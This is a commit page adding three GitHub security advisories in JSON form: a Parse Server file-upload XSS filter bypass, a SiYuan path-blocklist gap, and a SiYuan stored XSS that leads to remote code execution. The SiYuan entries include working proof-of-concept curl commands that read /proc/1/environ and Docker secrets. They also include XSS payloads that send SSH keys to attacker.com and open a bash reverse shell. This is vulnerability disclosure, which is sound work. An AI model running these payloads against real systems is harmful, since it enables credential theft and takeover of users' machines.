Skip to content

Commit c6aeda3

Browse files
1 parent 2053512 commit c6aeda3

6 files changed

Lines changed: 378 additions & 0 deletions

File tree

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-42ph-pf9q-cr72",
4+
"modified": "2026-03-16T18:46:00Z",
5+
"published": "2026-03-16T18:46:00Z",
6+
"aliases": [
7+
"CVE-2026-32728"
8+
],
9+
"summary": "Parse Server has a stored XSS filter bypass via Content-Type MIME parameter and missing XML extension blocklist entries",
10+
"details": "### Impact\n\nAn attacker who is allowed to upload files can bypass the file extension filter by appending a MIME parameter (e.g. `;charset=utf-8`) to the `Content-Type` header. This causes the extension validation to fail matching against the blocklist, allowing active content to be stored and served under the application's domain. In addition, certain XML-based file extensions that can render scripts in web browsers are not included in the default blocklist.\n\nThis can lead to stored XSS attacks, compromising session tokens, user credentials, or other sensitive data accessible via the browser's local storage.\n\n### Patches\n\nThe fix strips MIME parameters from the `Content-Type` header before validating the file extension against the blocklist. The default blocklist has also been extended to include additional XML-based extensions (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) that can render active content in web browsers.\n\nNote that the `fileUpload.fileExtensions` option is intended to be configured as an allowlist of file extensions that are valid for a specific application, not as a denylist. The default denylist is provided only as a basic default that covers most common problematic extensions. It is not intended to be an exhaustive list of all potentially dangerous extensions. Developers should not rely on the default value, as new extensions that can render active content in browsers might emerge in the future.\n\n### Workarounds\n\nConfigure the `fileUpload.fileExtensions` option to use an allowlist of only the file extensions that your application needs, rather than relying on the default blocklist.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "parse-server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "9.0.0"
29+
},
30+
{
31+
"fixed": "9.6.0-alpha.15"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "parse-server"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "8.6.41"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-42ph-pf9q-cr72"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/parse-community/parse-server/pull/10191"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/parse-community/parse-server/pull/10192"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/parse-community/parse-server/commit/4f53ab3cad5502a51a509d53f999e00ff7217b8d"
73+
},
74+
{
75+
"type": "WEB",
76+
"url": "https://github.com/parse-community/parse-server/commit/c7599c577a02b97eb5e76d4e20517b0283ae73c8"
77+
},
78+
{
79+
"type": "PACKAGE",
80+
"url": "https://github.com/parse-community/parse-server"
81+
}
82+
],
83+
"database_specific": {
84+
"cwe_ids": [
85+
"CWE-79"
86+
],
87+
"severity": "HIGH",
88+
"github_reviewed": true,
89+
"github_reviewed_at": "2026-03-16T18:46:00Z",
90+
"nvd_published_at": null
91+
}
92+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h5vh-m7fg-w5h6",
4+
"modified": "2026-03-16T18:46:14Z",
5+
"published": "2026-03-16T18:46:14Z",
6+
"aliases": [
7+
"CVE-2026-32747"
8+
],
9+
"summary": "SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets",
10+
"details": "### Summary\n`POST /api/file/globalCopyFiles` reads source files using `filepath.Abs()` with no workspace boundary check, relying solely on `util.IsSensitivePath()` whose blocklist omits `/proc/`, `/run/secrets/`, and home directory dotfiles. An admin can copy `/proc/1/environ` or Docker secrets into the workspace and read them via the standard file API.\n\n### Details\n**File:** `kernel/api/file.go` - function `globalCopyFiles`\n\n```go\nfor i, src := range srcs {\n absSrc, _ := filepath.Abs(src) // not restricted to workspace\n\n if util.IsSensitivePath(absSrc) { // blocklist is incomplete\n return\n }\n srcs[i] = absSrc\n}\ndestDir := filepath.Join(util.WorkspaceDir, destDir)\nfor _, src := range srcs {\n dest := filepath.Join(destDir, filepath.Base(src))\n filelock.Copy(src, dest) // copies unchecked sensitive file into workspace\n}\n```\n\n**`IsSensitivePath` blocklist** (`kernel/util/path.go`):\n```go\nprefixes := []string{\"/etc/ssh\", \"/root\", \"/etc\", \"/var/lib/\", \"/.\"}\n```\n\n**Not blocked - exploitable targets:**\n| Path | Contains |\n|------|----------|\n| `/proc/1/environ` | All env vars: `DATABASE_URL`, `AWS_ACCESS_KEY_ID`, `ANTHROPIC_API_KEY` |\n| `/run/secrets/*` | Docker Swarm / Compose injected secrets |\n| `/home/siyuan/.aws/credentials` | AWS credentials (non-root user) |\n| `/home/siyuan/.ssh/id_rsa` | SSH private key (non-root user) |\n| `/tmp/` | Temporary files including tokens |\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\n# Step 1: Copy /proc/1/environ (process env vars) into workspace assets\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"srcs\":[\"/proc/1/environ\"],\"destDir\":\"data/assets/\"}'\n\n# Step 2: Read the copied file via standard API\ncurl -s -X POST http://localhost:6806/api/file/getFile \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"path\":\"/data/assets/environ\"}' | tr '\\0' '\\n'\n\n# Output: HOSTNAME=abc\\nPATH=/usr/local/sbin:...\\nDATABASE_URL=postgres://...\\nAPI_KEY=sk-...\n```\n\n**Docker secrets:**\n```bash\n# Copy all Docker-injected secrets\ncurl -s -X POST http://localhost:6806/api/file/globalCopyFiles \\\n -H \"Authorization: Token $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"srcs\":[\"/run/secrets/db_password\",\"/run/secrets/api_token\"],\"destDir\":\"data/assets/\"}'\n```\n\n### Impact\nAn admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/siyuan-note/siyuan"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-184",
51+
"CWE-22"
52+
],
53+
"severity": "MODERATE",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-03-16T18:46:14Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-qr46-rcv3-4hq3",
4+
"modified": "2026-03-16T18:47:37Z",
5+
"published": "2026-03-16T18:47:37Z",
6+
"aliases": [
7+
"CVE-2026-32751"
8+
],
9+
"summary": "SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface",
10+
"details": "# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface\n\n## Summary\n\nSiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.\n\nSince Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.\n\n## Affected Component\n\n- **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77`\n- **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`)\n- **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n- **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Vulnerable Code\n\n### Mobile — no escaping (MobileFiles.ts:77)\n\n```typescript\ncase \"renamenotebook\":\n this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n break;\n```\n\n### Desktop — properly escaped (Files.ts:104)\n\n```typescript\ncase \"renamenotebook\":\n this.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n break;\n```\n\n### Backend — sends unescaped name (notebook.go:104-116)\n\n```go\nfunc renameNotebook(c *gin.Context) {\n // ...\n name := arg[\"name\"].(string)\n err := model.RenameBox(notebook, name)\n // ...\n evt := util.NewCmdResult(\"renamenotebook\", 0, util.PushModeBroadcast)\n evt.Data = map[string]interface{}{\n \"box\": notebook,\n \"name\": name, // Unescaped — sent directly to all clients\n }\n util.PushEvent(evt)\n}\n```\n\n`model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization.\n\n### Electron — Node.js in renderer (main.js:422-426)\n\n```javascript\nwebPreferences: {\n nodeIntegration: true,\n webviewTag: true,\n webSecurity: false,\n contextIsolation: false,\n}\n```\n\nAny JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker).**\n\n### 1. Set malicious notebook name (RCE payload)\n\n```http\nPOST /api/notebook/renameNotebook HTTP/1.1\nContent-Type: application/json\nCookie: siyuan=<session>\n\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n}\n```\n\nOn Linux/macOS:\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('id > /tmp/pwned')\\\">\"\n}\n```\n\n**Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients.\n\n### 2. Mobile client renders and executes\n\nWhen any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — **arbitrary OS command execution**.\n\n### 3. Verified event content\n\n```python\n# Unauthenticated WebSocket listener receives:\n{\n \"cmd\": \"renamenotebook\",\n \"data\": {\n \"box\": \"20260309161535-do8qg95\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n }\n}\n```\n\nThe HTML/JS payload is preserved verbatim in the WebSocket event.\n\n### 4. Data exfiltration variant\n\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\\\">\"\n}\n```\n\n### 5. Reverse shell variant\n\n```json\n{\n \"notebook\": \"<NOTEBOOK_ID>\",\n \"name\": \"<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\\\\\"')\\\">\"\n}\n```\n\n## Attack Scenario\n\n1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload\n2. The `renamenotebook` event broadcasts the payload to ALL connected clients\n3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload\n4. `nodeIntegration: true` gives the injected JavaScript full OS access\n5. Attacker achieves arbitrary command execution on the victim's machine\n\n**Persistence:** The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts.\n\n**Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.0)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Full remote code execution on Electron desktop via `nodeIntegration: true`\n- Stored XSS — notebook names persist across sessions and survive restarts\n- Propagates via cloud sync to all synced devices\n- Affects all mobile interface users and desktop users in mobile/narrow layout\n- Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)\n- Can steal files, credentials, SSH keys, install backdoors, open reverse shells\n\n## Suggested Fix\n\n### 1. Apply the same escaping used in the desktop version\n\n```typescript\n// Before (vulnerable):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = data.data.name;\n\n// After (fixed):\nthis.element.querySelector(`[data-url=\"${data.data.box}\"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);\n```\n\n### 2. Sanitize notebook names on the backend\n\n```go\nfunc RenameBox(boxID, name string) (err error) {\n name = util.EscapeHTML(name) // Sanitize at the source\n // ...\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n nodeIntegration: false,\n contextIsolation: true,\n sandbox: true,\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-qr46-rcv3-4hq3"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/siyuan-note/siyuan"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-79"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-16T18:47:37Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)